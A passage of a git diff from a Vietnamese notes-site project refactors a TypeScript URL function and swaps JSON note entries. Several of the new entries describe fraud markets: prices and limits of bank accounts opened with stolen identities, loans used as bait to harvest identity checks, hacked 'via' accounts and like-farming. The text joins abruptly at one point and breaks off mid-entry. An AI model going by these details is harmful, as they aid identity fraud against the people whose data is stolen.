diff --git "a/Code ch\341\272\241y tr\303\252n local, server, KV/B\303\240i \304\221\304\203ng/a. T\341\272\241o theo vault.ts" "b/Code ch\341\272\241y tr\303\252n local, server, KV/B\303\240i \304\221\304\203ng/a. T\341\272\241o theo vault.ts" index 772e7b2..21dde6c 100644 --- "a/Code ch\341\272\241y tr\303\252n local, server, KV/B\303\240i \304\221\304\203ng/a. T\341\272\241o theo vault.ts" +++ "b/Code ch\341\272\241y tr\303\252n local, server, KV/B\303\240i \304\221\304\203ng/a. T\341\272\241o theo vault.ts" @@ -98,23 +98,32 @@ export async function tạoDanhSáchĐườngDẫnTấtCảCácBàiĐăngTrongVa return danhSáchĐườngDẫnTấtCảCácBàiĐăngTrongVault; } -function xácĐịnhURLCủaGhiChú( +/** + * Nếu đường dẫn tới ghi chú là `a/a.md`, thì đường dẫn tới tệp HTML được tạo ra từ ghi chú là `a`. + * Nếu đường dẫn tới ghi chú là `a/b.md`, thì đường dẫn tới tệp HTML được tạo ra từ ghi chú là `a/b`. + */ +function tạoĐườngDẫnTớiTệpHtml(đườngDẫnTớiGhiChú: ĐườngDẫnTuyệtĐối, đườngDẫnTớiVault: ĐườngDẫnTuyệtĐối): string[] { + const đườngDẫnTrongKho: ĐườngDẫnTươngĐối = đườngDẫnTớiGhiChú.replace(đườngDẫnTớiVault, ""); + const tênTậpTin = basename(đườngDẫnTớiGhiChú, ".md"); + const thưMụcMẹTrựcTiếp = đườngDẫnTrongKho.split(SEPARATOR_PATTERN).slice(-2)[0]; + + const đườngDẫnTớiTệpHtml: string[] = đườngDẫnTrongKho.split(SEPARATOR_PATTERN); + const làTệpIndex = tênTậpTin === thưMụcMẹTrựcTiếp; + if (!làTệpIndex) { + đườngDẫnTớiTệpHtml.pop(); + đườngDẫnTớiTệpHtml.push(tênTậpTin); + } else đườngDẫnTớiTệpHtml.pop(); + return đườngDẫnTớiTệpHtml; +} + +function xácĐịnhUrlCủaGhiChú( đườngDẫnTớiGhiChú: ĐườngDẫnTuyệtĐối, đườngDẫnTớiVault: ĐườngDẫnTuyệtĐối, urlVault: UrlChưaChínhTắc, ) { - const đườngDẫnTươngĐốiCủaGhiChúTrongVault: ĐườngDẫnTươngĐối = đườngDẫnTớiGhiChú.replace(đườngDẫnTớiVault, ""); - const tênTậpTin = basename(đườngDẫnTớiGhiChú, ".md"); - const thưMụcMẹTrựcTiếp = đườngDẫnTươngĐốiCủaGhiChúTrongVault.split(SEPARATOR_PATTERN).slice(-1)[0]; - - /** Nếu đường dẫn bài viết là a/a.md, thì url là a. Nếu đường dẫn bài viết là a/b.md, thì url là a/b */ - const đườngDẫnTươngĐốiTớiTậpTinHTMLCủaGhiChú: string[] = đườngDẫnTươngĐốiCủaGhiChúTrongVault.split(SEPARATOR_PATTERN); - if (tênTậpTin !== thưMụcMẹTrựcTiếp) { - đườngDẫnTươngĐốiTớiTậpTinHTMLCủaGhiChú.pop(); - đườngDẫnTươngĐốiTớiTậpTinHTMLCủaGhiChú.push(tênTậpTin); - } else đườngDẫnTươngĐốiTớiTậpTinHTMLCủaGhiChú.pop(); + const đườngDẫnTớiTệpHtml: string[] = tạoĐườngDẫnTớiTệpHtml(đườngDẫnTớiGhiChú, đườngDẫnTớiVault); if (typeof urlVault === "object" && urlVault) urlVault = urlVault.href; - const url = buildUrl(urlVault || "", { path: đườngDẫnTươngĐốiTớiTậpTinHTMLCủaGhiChú }); + const url = buildUrl(urlVault || "", { path: đườngDẫnTớiTệpHtml }); // console.log("Đường dẫn:", đườngDẫnTớiGhiChú); // console.log('URL:', url); return url; @@ -150,7 +159,7 @@ export default async function tạoDanhSáchBàiĐăngTrênVault(): Promisethời vụ tự do (freelancer) | Làm bao nhiêu ăn bấy nhiêu | ❌ | ❌ | ❌ |\r\n\r\nGọi là đại lý bảo hiểm, công việc là quảng bá bảo hiểm, khơi gợi nhu cầu đến tất cả mọi người bởi vì ai cũng cần bảo hiểm. Không gọi là kinh doanh bảo hiểm, bởi vì từ đó dùng cho công ty. Không gọi môi giới bảo hiểm, bởi từ đó dùng cho đại lý bảo hiểm nhưng phân phối sản phẩm bảo hiểm cho nhiều công ty bảo hiểm. Vốn điều lệ trên 5 tỷ.\r\n\r\n## Cộng tác viên cho nhân viên\r\n| | Nhân viên | Cộng tác viên |\r\n| ------------------- | ---------------------------- | ------------------------ |\r\n| Lương | Ăn hết | Tuỳ vào sự ăn chia |\r\n| Bảo hiểm xã hội | Có | Không |\r\n| Thời điểm nhận tiền | Cuối tháng | Sau khi hết đầu việc |\r\n| Thời gian làm | Cố định | Tự do |\r\n| Áp lực doanh số | Chịu toàn bộ | Nhân viên thực chịu |\r\n| Mô hình tổ chức | Phân cấp | Phẳng |\r\n| Loại công việc | Tất cả những gì công ty giao | Chỉ cần làm một đầu việc |\r\n\r\nXem thêm:: [[Đối với công ty, nhân viên có cộng tác viên riêng, nhân viên ảo, người đại diện nhóm, bán việc là những cái tên khác nhau cho cùng một thứ]]\r\n", + "Toàn bộ nội dung": "biên độ lợi nhuận\r\ngap 30% thì ko quan tâm phí 0.88%, mà chỉ quan tâm nhàn\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-08-27T07:39:00.000Z", + "Ngày tạo": "2024-07-01T09:07:00.000Z", + "Ngày cập nhật": "2024-07-27T11:33:00.000Z", "id": "2L" }, { - "Tiêu đề": "Dùng loa thông báo sẽ đỡ phải kiểm tra xem tiền khách chuyển vào có tới được chưa", - "URL": "https://kiếmtiền.quảcầu.cc/⚡Hiểu biết sâu/Kiếm tiền/Fintech/Trung gian thanh toán/Dùng loa thông báo sẽ đỡ phải kiểm tra xem tiền khách chuyển vào có tới được chưa", + "Tiêu đề": "Buff like shopee phải có bình luận, hình ảnh với công là 5k", + "URL": "https://kiếmtiền.quảcầu.cc/⚡Hiểu biết sâu/Kiếm tiền/Tài khoản ảo, mua bán thông tin cá nhân/Buff like shopee phải có bình luận, hình ảnh với công là 5k", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Hiện tại đã có công cụ để làm giả ảnh chuyển khoản ngân hàng, nên mình cần phải kiểm tra tiền tới tài khoản chưa. Nhưng việc đó thì làm nhức đầu\r\n\r\n[Fakebill - Công cụ fake bill chuyển khoản chuẩn dùng để seeding](https://fakebillck.com/)\r\n", + "Toàn bộ nội dung": "Khái niệm:: \r\n\r\nNguồn:: \r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", @@ -2417,14 +2417,14 @@ "id": "2M" }, { - "Tiêu đề": "GMV là tổng số tiền cửa hàng bán được trong tháng", - "URL": "https://kiếmtiền.quảcầu.cc/⚡Hiểu biết sâu/Kiếm tiền/Fintech/Trung gian thanh toán/GMV là tổng số tiền cửa hàng bán được trong tháng", + "Tiêu đề": "Giá tài khoản ngân hàng được tạo từ thông tin đánh cắp được bán tuỳ vào mức độ quét", + "URL": "https://kiếmtiền.quảcầu.cc/⚡Hiểu biết sâu/Kiếm tiền/Tài khoản ảo, mua bán thông tin cá nhân/Giá tài khoản ngân hàng được tạo từ thông tin đánh cắp được bán tuỳ vào mức độ quét", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Ví dụ: Một công ty bán 1000 sản phẩm với giá thành 10 đô la/sản phẩm trong thời gian một tháng thì GMV là gì cho tháng đó sẽ là 10.000 đô la.\r\n", + "Toàn bộ nội dung": "Ví dụ với bank onl, giá tầm 700k thì không lo bị ngân hàng quét, hạn mức tối đa 500tr/ngày. Nó dành cho những người chuyên đánh bài, cá độ 1 risk nhận 0.9 return, thì tiền lời 1 lần dư mua 1 bank middle để nhận tiền.\r\n\r\nGiá thấp hơn thì dễ bị quét và hạn mức thường 100tr/ngày\r\n[[Tài khoản ngân hàng ảo dùng được vài tiếng là vì kyc bằng AI]]\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", @@ -2433,30 +2433,30 @@ "id": "2N" }, { - "Tiêu đề": "ASM không có lợi ích gì trong việc phát hiện nhân viên có chạy ảo hay không", - "URL": "https://kiếmtiền.quảcầu.cc/⚡Hiểu biết sâu/Kiếm tiền/Fintech/Trung gian thanh toán/Lợi ích, động cơ của các bên/ASM/ASM không có lợi ích gì trong việc phát hiện nhân viên có chạy ảo hay không", + "Tiêu đề": "Airdrop là việc nền tảng cho tiền để khuyến khích người dùng sử dụng và giới thiệu sản phẩm", + "URL": "https://kiếmtiền.quảcầu.cc/⚡Hiểu biết sâu/Kiếm tiền/Tài khoản ảo, mua bán thông tin cá nhân/Kiếm tiền trực tuyến (MMO)/Airdrop là việc nền tảng cho tiền để khuyến khích người dùng sử dụng và giới thiệu sản phẩm", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Lý do:: [[KPI của ASM là trung bình cộng KPI của nhóm]] \nLý do:: [[RSM chỉ gây áp lực mồm cho ASM về việc ngăn nhân viên chạy ảo, chứ không gây áp lực qua KPI]]\n\nNếu asm ko có lợi ích gì trong việc kiểm tra xem mình tạo có là thực hay ko thì tại sao ổng phải cảnh báo mình là mình ko đc chạy ảo?\nTại vì rsm gây áp lực. Ăn doanh số 1 cửa hàng, có thể sale ăn 3 tháng, còn asm 6 tháng thì sao? Rsm mãi mãi thì sao?\nGmv, active\n", + "Toàn bộ nội dung": "Airdrop là một kiểu các công ty công nghệ cho tiền khách hàng để tri ân. VD: tạo một tài khoản được tặng $10 ban đầu để khuyến khích dùng thử, giới thiệu người khác dùng được thêm $10 nữa, làm một nhiệm vụ khác được $10 nữa…\r\n\r\nNếu thứ được cho không phải là tiền thì có thể thay bằng điểm. Điểm này có thể quy đổi thành tiền, hoặc nếu không thể quy đổi thành tiền một cách chính thức thì có thể bán lại cho người cần.\r\n\r\nMuốn chạy có lời thì cần nguồn cung proxy giá rẻ, chứ giá hiện tại không thể lời được\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày tạo": "2024-06-22T08:12:00.000Z", "Ngày cập nhật": "2024-07-27T11:33:00.000Z", "id": "2O" }, { - "Tiêu đề": "ASM", - "URL": "https://kiếmtiền.quảcầu.cc/⚡Hiểu biết sâu/Kiếm tiền/Fintech/Trung gian thanh toán/Lợi ích, động cơ của các bên/ASM/ASM", + "Tiêu đề": "Content farm dùng để tăng SEO", + "URL": "https://kiếmtiền.quảcầu.cc/⚡Hiểu biết sâu/Kiếm tiền/Tài khoản ảo, mua bán thông tin cá nhân/Kiếm tiền trực tuyến (MMO)/Content farm dùng để tăng SEO", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "ASM là quản lý bán hàng khu vực (area sale manager).\r\n```dataview\r\nlist \r\nFROM \"⚡Hiểu biết sâu/Trung gian thanh toán/Lợi ích, động cơ của các bên/ASM\" \r\nWHERE file.name!=this.file.name\r\n```\r\n", + "Toàn bộ nội dung": "Khái niệm:: \r\n\r\nNguồn:: \r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", @@ -2465,14 +2465,14 @@ "id": "2P" }, { - "Tiêu đề": "KPI của ASM là trung bình cộng KPI của nhóm", - "URL": "https://kiếmtiền.quảcầu.cc/⚡Hiểu biết sâu/Kiếm tiền/Fintech/Trung gian thanh toán/Lợi ích, động cơ của các bên/ASM/KPI của ASM là trung bình cộng KPI của nhóm", + "Tiêu đề": "Dùng facebook của mình đăng kí hack like thì facebook của bạn sẽ được nhiều người like và ngược lại facebook của bạn cũng sẽ đi like facebook của người khác", + "URL": "https://kiếmtiền.quảcầu.cc/⚡Hiểu biết sâu/Kiếm tiền/Tài khoản ảo, mua bán thông tin cá nhân/Kiếm tiền trực tuyến (MMO)/Dùng facebook của mình đăng kí hack like thì facebook của bạn sẽ được nhiều người like và ngược lại facebook của bạn cũng sẽ đi like facebook của người khác", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "[[ASM]]. Chính vì [[KPI của ASM là trung bình cộng KPI của nhóm]], nên:\r\n- [[ASM không có lợi ích gì trong việc phát hiện nhân viên có chạy ảo hay không]]\r\n- [[Việc giám sát không trực tiếp đem lại KPI cho ASM]]\r\n", + "Toàn bộ nội dung": "Khái niệm:: \r\n\r\nNguồn:: [Hỏi về cách like fanpage của những người bán like - randomq - Dạy Nhau Học](https://daynhauhoc.com/t/hoi-ve-cach-like-fanpage-cua-nhung-nguoi-ban-like/68064/3?u=ooker)\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", @@ -2481,46 +2481,46 @@ "id": "2Q" }, { - "Tiêu đề": "Việc giám sát không trực tiếp đem lại KPI cho ASM", - "URL": "https://kiếmtiền.quảcầu.cc/⚡Hiểu biết sâu/Kiếm tiền/Fintech/Trung gian thanh toán/Lợi ích, động cơ của các bên/ASM/Việc giám sát không trực tiếp đem lại KPI cho ASM", + "Tiêu đề": "Kiếm tiền trực tuyến (MMO)", + "URL": "https://kiếmtiền.quảcầu.cc/⚡Hiểu biết sâu/Kiếm tiền/Tài khoản ảo, mua bán thông tin cá nhân/Kiếm tiền trực tuyến (MMO)", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Lý do:: [[KPI của ASM là trung bình cộng KPI của nhóm]]\r\n\r\nNếu ASM cần thì có thể tự làm để kéo doanh số\r\n", + "Toàn bộ nội dung": "```dataview\r\nLIST\r\nFROM \"⚡Hiểu biết sâu/Kiếm tiền/Tài khoản ảo, mua bán thông tin cá nhân/Kiếm tiền trực tuyến (MMO)\"\r\nWHERE file.name!=this.file.name\r\n```\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-07-27T11:33:00.000Z", + "Ngày tạo": "2024-06-22T08:46:00.000Z", + "Ngày cập nhật": "2024-07-27T14:59:00.000Z", "id": "2R" }, { - "Tiêu đề": "Công ty không quan tâm dữ liệu cửa hàng do nhân viên gửi về có bị trùng lặp hay không", - "URL": "https://kiếmtiền.quảcầu.cc/⚡Hiểu biết sâu/Kiếm tiền/Fintech/Trung gian thanh toán/Lợi ích, động cơ của các bên/Công ty không quan tâm dữ liệu cửa hàng do nhân viên gửi về có bị trùng lặp hay không", + "Tiêu đề": "Phone farm dùng để tăng tương tác", + "URL": "https://kiếmtiền.quảcầu.cc/⚡Hiểu biết sâu/Kiếm tiền/Tài khoản ảo, mua bán thông tin cá nhân/Kiếm tiền trực tuyến (MMO)/Phone farm dùng để tăng tương tác", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Khái niệm:: \r\n\r\nNguồn:: \r\n", + "Toàn bộ nội dung": "https://youtu.be/-CoEHDHb0lE?si=cwWOC-8Pks01AYUW\r\n# Cỗ máy 'kích like' gần một tỷ đồng\r\nQuảng Ninh\r\n\r\nCăn phòng chứa 36 box PhoneFarm điều khiển thông qua máy tính, dùng để gian lận tương tác trên mạng xã hội, được đầu tư gần một tỷ đồng.\r\n\r\n ![PhoneFarm là thiết bị không xa lạ trong cộng đồng chuyên mua bán lượt tương tác trên mạng xã hội như Facebook, YouTube, TikTok. Chúng được xây dựng dựa trên các bo mạch smartphone và gắn chúng vào một mạch chủ. Mỗi box có tầm 20-22 bo mạch smartphone. Trên đây là một góc của căn phòng chứa PhoneFarm của anh Nguyễn Đức Hùng, sinh năm 1999 tại Uông Bí.](https://i1-sohoa.vnecdn.net/2023/11/03/IMG-6870-7248-1699009001.jpg?w=680&h=0&q=100&dpr=1&fit=crop&s=9edKWY6j_A2wZxsf1iO5LQ)\r\n\r\n[PhoneFarm](https://vnexpress.net/so-hoa/chiec-hop-phia-sau-dich-vu-trieu-view-nghin-like-tren-facebook-tiktok-4631332.html) là thiết bị không xa lạ trong cộng đồng chuyên mua bán lượt tương tác trên mạng xã hội như Facebook, YouTube, TikTok. Chúng được xây dựng dựa trên các bo mạch smartphone và gắn vào một mạch chủ. Mỗi box có tầm 20-22 bo mạch smartphone. Trên đây là một góc của căn phòng chứa PhoneFarm của Nguyễn Đức Hùng, sinh năm 1999 tại Uông Bí, dùng để chạy các dịch vụ tương tác trên mạng xã hội.\r\n\r\n ![Một góc khác của căn phòng. Theo chủ nhân của hệ thống PhoneFarm này, anh nhận thức được vấn đề mình đang làm là gian lận trên các nền tảng. Thực tế thì tôi đang làm công việc mà các mạng xã hội đang không cho phép. Tuy nhiên, trước nhu cầu thị trường đang nở rộ và chưa bị pháp luật cấm, tôi xem đây là một hình thức đầu tư kinh doanh. Nếu pháp luật có các quy định về loại thiết bị này, tôi sẵn sàng chấp hành, anh Hùng cho biết.Thực tế, đến nay các dịch vụ like ảo, view ảo nhiều lần bị các nền tảng như Facebook siết chặt vì vi phạm tiêu chuẩn cộng đồng, trong khi YouTube, TikTok cũng cấm sử dụng bot để tăng lượt xem và bình luận. Dù vậy, vấn đề vẫn tồn tại và chưa được xử lý triệt để do các chương trình phần mềm cũng liên tục được cập nhật để qua mặt máy quét. Nội dung được tương tác tự động bằng PhoneFarm có thể được nhận biết nếu nó có lượng tương tác cao bất thường dù không có gì nổi bật, hay một bình luận lặp lại bởi nhiều tài khoản khác nhau. Ngoài ra, khi bấm vào các tài khoản này, không có nội dung nào được chia sẻ trên đó.](https://i1-sohoa.vnecdn.net/2023/11/04/z4845202037701-c3e677baa278521-1724-5746-1699068745.jpg?w=680&h=0&q=100&dpr=1&fit=crop&s=I7kGxbjoMuZFe8iTgDftMA)\r\n\r\nTheo chủ nhân của hệ thống PhoneFarm này, anh nhận thức được việc vận hành cỗ máy là hành vi gian lận trên mạng xã hội. \"Thực tế, tôi đang làm công việc mà các mạng xã hội không cho phép. Tuy nhiên, nhu cầu thị trường đang nở rộ và chưa bị pháp luật cấm\", anh nói.\r\n\r\n ![Tôi xây dựng hệ thống PhoneFarm này từ tháng 10/2022 và mất 8 tháng để hoàn tất. Thay vì thuê dịch vụ hoặc mua sẵn box, chúng tôi tự mua linh kiện về tự lắp đặt. Điều này có thể gây tốn thời gian, nhưng chúng tôi sẽ kiểm soát tốt hơn về chất lượng, cũng như tránh hỏng hóc về sau, anh Hùng nói.](https://i1-sohoa.vnecdn.net/2023/11/04/phone-01-1604-1699055459.jpg?w=680&h=0&q=100&dpr=1&fit=crop&s=lKK12jrX0uB5iaoZZsU1sg)\r\n\r\nNgười này cho biết đã xây dựng hệ thống PhoneFarm từ tháng 10/2022, mất 8 tháng để hoàn thành. Thay vì thuê dịch vụ hoặc mua sẵn box, anh mua linh kiện về tự lắp đặt và tự xây dựng phần mềm để kiểm soát chất lượng và tránh hỏng hóc về sau.\r\n\r\n ![Mỗi box PhoneFarm được trang bị 22 bo mạch của Samsung Galaxy S7, đã được tháo màn hình, pin, camera và cảm biến không cần thiết để tiết kiệm điện năng tiêu thụ khi vận hành. Các bo mạch gắn vào một mạch chủ thông qua dây USB-A to USB-C và một dây dẫn khác để kiểm soát màn hình.](https://i1-sohoa.vnecdn.net/2023/11/04/phone-02-2699-1699055459.jpg?w=680&h=0&q=100&dpr=1&fit=crop&s=fTrmEJmBAA_wIVPKyxg4Vw)\r\n\r\nMỗi box PhoneFarm được trang bị 22 bo mạch của Samsung Galaxy S7, đã được tháo màn hình, pin, camera và cảm biến không cần thiết để tiết kiệm điện năng tiêu thụ khi vận hành. Các bo mạch gắn vào một mạch chủ thông qua dây USB-A to USB-C và một dây dẫn khác để kiểm soát màn hình.\r\n\r\n ![Theo anh Hùng, chi phí cho mỗi box PhoneFarm bình quân là 14 triệu đồng, thấp hơn so với giá trên 25 triệu đồng mua từ bên thứ ba. Tổng giá trị căn phòng chứa PhoneFarm là hơn 500 triệu đồng chưa tính máy chủ, máy tính điều khiển, hệ thống mạng và các vật tư khác.](https://i1-sohoa.vnecdn.net/2023/11/03/IMG-6834-7915-1699009001.jpg?w=680&h=0&q=100&dpr=1&fit=crop&s=AFVg8go0fLexLGl2wIoLvA)\r\n\r\nChi phí mỗi box tự chế trung bình là 14 triệu đồng, thấp hơn giá vài chục triệu đồng nếu mua từ bên thứ ba. Tổng giá trị PhoneFarm là hơn 500 triệu đồng chưa tính máy chủ, máy tính điều khiển, hệ thống mạng và các vật tư khác.\r\n\r\n ![Toàn bộ các box PhoneFarm được kiểm soát thông qua một máy tính chủ với hai màn hình dùng để kiểm soát các thông số khác nhau. Màn hình đầu tiên dùng để xem trạng thái của smartphone đang hoạt động, trong khi màn hình thứ hai dùng để kiểm tra kết nối và khắc phục sự cố nhanh. Trong khi đó, việc tản nhiệt thông qua máy lạnh và quạt bên trong phòng.](https://i1-sohoa.vnecdn.net/2023/11/03/IMG-6802-7981-1699009001.jpg?w=680&h=0&q=100&dpr=1&fit=crop&s=7xBPKAYNIhlM-8Cooz_UaQ)\r\n\r\nToàn bộ được kiểm soát thông qua một máy tính chính với hai màn hình dùng để theo dõi các thông số khác nhau. Màn hình đầu tiên dùng để xem trạng thái của smartphone đang hoạt động, trong khi màn hình thứ hai kiểm tra kết nối và khắc phục sự cố nhanh. Trong khi đó, việc tản nhiệt thông qua máy lạnh và quạt bên trong phòng.\r\n\r\nHệ thống sử dụng phần mềm tự phát triển với chi phí 250 triệu đồng, hoàn thành trong 7 tháng. Cộng với thiết bị và vật tư, chi phí cho toàn bộ căn phòng khoảng một tỷ đồng.\r\n\r\n ![Điểm đặc biệt của hệ thống mà anh Hùng đang vận hành là tự chạy trên phần mềm tự phát triển với chi phí 250 triệu đồng, hoàn thành trong 7 tháng. Tổng cộng các thiết bị và vật tư, toàn bộ căn phòng có giá trị khoảng một tỷ đồng. Ưu điểm của việc tự làm phần mềm là mình sẽ kiểm soát nó tối ưu hơn, lách được các thuật toán mạng xã hội tốt hơn và chạy ổn định hơn các phần mềm mua bên ngoài rất nhiều, anh Hùng chia sẻ. Tôi từng thử các phần mềm bên thứ ba và nhận thấy họ làm ra để với mục đích bán phần mềm, nên thiếu sự đồng bộ và rất hay gặp lỗi. Mỗi lần gặp lỗi, rất lâu họ mới khắc phục. Ngoài ra, nó cũng không có một số tính năng mình cần hoặc khả năng mở rộng tính năng trong tương lai.](https://i1-sohoa.vnecdn.net/2023/11/03/IMG-6819-9462-1699009001.jpg?w=680&h=0&q=100&dpr=1&fit=crop&s=iC8qEVk6SAwXC-jUcFGNwA)\r\n\r\nHệ thống PhoneFarm này đang phục vụ việc tăng lượt xem nội dung, lượt xem phát trực tiếp (livestream) cũng như lượt thích, bình luận và chạy các chiến dịch quảng cáo, seeding (tạo nội dung tranh luận) trên mạng xã hội. Anh cho biết, chi phí vận hành căn phòng này mỗi tháng vào khoảng 25 triệu đồng, chủ yếu là tiền điện và kết nối Internet. \"Mỗi tháng thu nhập từ hệ thống PhoneFarm này khoảng 40-45 triệu đồng\", anh Hùng tiết lộ. \r\n \r\nCác dịch vụ tăng lượt like nhiều lần bị các nền tảng như Facebook siết chặt vì vi phạm tiêu chuẩn cộng đồng, trong khi YouTube, TikTok cũng cấm sử dụng bot để tăng lượt xem và bình luận. Dù vậy, vấn đề vẫn tồn tại và chưa được xử lý triệt để do các chương trình phần mềm cũng liên tục được cập nhật để qua mặt máy quét. Nội dung được \"kích like\" bằng PhoneFarm có thể được nhận biết nếu tài khoản và post không có gì nổi bật nhưng lại được tương tác cao bất thường, hay một bình luận lặp lại bởi nhiều tài khoản khác nhau, khiến nội dung rác tràn lan. Ngoài ra, khi bấm vào các tài khoản này, hầu như không có nội dung nào được chia sẻ trên đó.\r\n\r\n**Bảo Lâm**\r\n\r\nNguồn:: https://vnexpress.net/co-may-kich-like-gan-mot-ty-dong-4672751.html\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-07-27T11:33:00.000Z", + "Ngày tạo": "2024-08-01T17:59:00.000Z", + "Ngày cập nhật": "2024-08-01T17:19:00.000Z", "id": "2S" }, { - "Tiêu đề": "Nhà đầu tư cho các công ty tài chính cần tiền được lưu thông", - "URL": "https://kiếmtiền.quảcầu.cc/⚡Hiểu biết sâu/Kiếm tiền/Fintech/Trung gian thanh toán/Lợi ích, động cơ của các bên/RSM và nhà đầu tư/Nhà đầu tư cho các công ty tài chính cần tiền được lưu thông", + "Tiêu đề": "Via là tài khoản đã được xác thực", + "URL": "https://kiếmtiền.quảcầu.cc/⚡Hiểu biết sâu/Kiếm tiền/Tài khoản ảo, mua bán thông tin cá nhân/Kiếm tiền trực tuyến (MMO)/Via là tài khoản đã được xác thực", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Khái niệm:: \r\n\r\nNguồn:: \r\n", + "Toàn bộ nội dung": "Via là viết tắt của *verified information account*. Nó phải có nhiều tương tác, đăng ký thông tin chính chủ. Cách phổ biến để có via là đánh cắp tài khoản của người khác (hack nick), hoặc nuôi tương tác cho các tài khoản ảo\r\n\r\nNguồn:: [VIA Facebook là gì? 4 loại VIA Facebook phổ biến nhất](https://www.sapo.vn/blog/via-facebook-la-gi)\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", @@ -2529,110 +2529,110 @@ "id": "2T" }, { - "Tiêu đề": "RSM chỉ gây áp lực mồm cho ASM về việc ngăn nhân viên chạy ảo, chứ không gây áp lực qua KPI", - "URL": "https://kiếmtiền.quảcầu.cc/⚡Hiểu biết sâu/Kiếm tiền/Fintech/Trung gian thanh toán/Lợi ích, động cơ của các bên/RSM và nhà đầu tư/RSM chỉ gây áp lực mồm cho ASM về việc ngăn nhân viên chạy ảo, chứ không gây áp lực qua KPI", + "Tiêu đề": "Những bên cho vay lãi quá rẻ thực ra là để mình chịu làm kyc để người khác tạo tài khoản ảo bằng tên của mình", + "URL": "https://kiếmtiền.quảcầu.cc/⚡Hiểu biết sâu/Kiếm tiền/Tài khoản ảo, mua bán thông tin cá nhân/Những bên cho vay lãi quá rẻ thực ra là để mình chịu làm kyc để người khác tạo tài khoản ảo bằng tên của mình", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Lý do:: [[Nhà đầu tư cho các công ty tài chính cần tiền được lưu thông]]\r\n", + "Toàn bộ nội dung": "![[Pasted image 20240627210332.png]]\n![[Pasted image 20240627210342.png]]\n\n[Fetching Title#zasu](https://tuoitre.vn/bon-lua-dao-tao-ra-chi-cong-an-online-nhu-that-20230709114310079.htm)", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2024-06-20T12:45:00.000Z", - "Ngày cập nhật": "2024-07-27T11:33:00.000Z", + "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày cập nhật": "2024-08-27T13:06:00.000Z", "id": "2U" }, { - "Tiêu đề": "RSM và nhà đầu tư", - "URL": "https://kiếmtiền.quảcầu.cc/⚡Hiểu biết sâu/Kiếm tiền/Fintech/Trung gian thanh toán/Lợi ích, động cơ của các bên/RSM và nhà đầu tư/RSM và nhà đầu tư", + "Tiêu đề": "Thông tin bán được sẽ được dùng để tạo tài khoản ngân hàng ảo", + "URL": "https://kiếmtiền.quảcầu.cc/⚡Hiểu biết sâu/Kiếm tiền/Tài khoản ảo, mua bán thông tin cá nhân/Thông tin bán được sẽ được dùng để tạo tài khoản ngân hàng ảo", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "RSM là giám đốc kinh doanh vùng (regional sale manager)\r\n\r\n```dataview\r\nLIST \r\nFROM \"⚡Hiểu biết sâu/Trung gian thanh toán/Lợi ích, động cơ của các cấp trong công ty/RSM và nhà đầu tư\" \r\nWHERE file.name!=this.file.name\r\n```\r\n", + "Toàn bộ nội dung": "[[Những bên cho vay lãi quá rẻ thực ra là để mình chịu làm kyc để người khác tạo tài khoản ảo bằng tên của mình]] \r\n\r\nNguồn:: \r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2024-06-21T14:21:00.000Z", - "Ngày cập nhật": "2024-07-27T11:33:00.000Z", + "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày cập nhật": "2024-08-27T06:53:00.000Z", "id": "2V" }, { - "Tiêu đề": "Một giao dịch khi quẹt qua trung gian thanh toán sẽ trở thành một giao dịch mua hàng sạch trong mắt ngân hàng", - "URL": "https://kiếmtiền.quảcầu.cc/⚡Hiểu biết sâu/Kiếm tiền/Fintech/Trung gian thanh toán/Một giao dịch khi quẹt qua trung gian thanh toán sẽ trở thành một giao dịch mua hàng sạch trong mắt ngân hàng", + "Tiêu đề": "Tiệm cầm đồ chỉ quan tâm cái căn cước là chính, chứ chẳng quan tâm mấy tới món đồ mình đem cầm", + "URL": "https://kiếmtiền.quảcầu.cc/⚡Hiểu biết sâu/Kiếm tiền/Tài khoản ảo, mua bán thông tin cá nhân/Tiệm cầm đồ chỉ quan tâm cái căn cước là chính, chứ chẳng quan tâm mấy tới món đồ mình đem cầm", 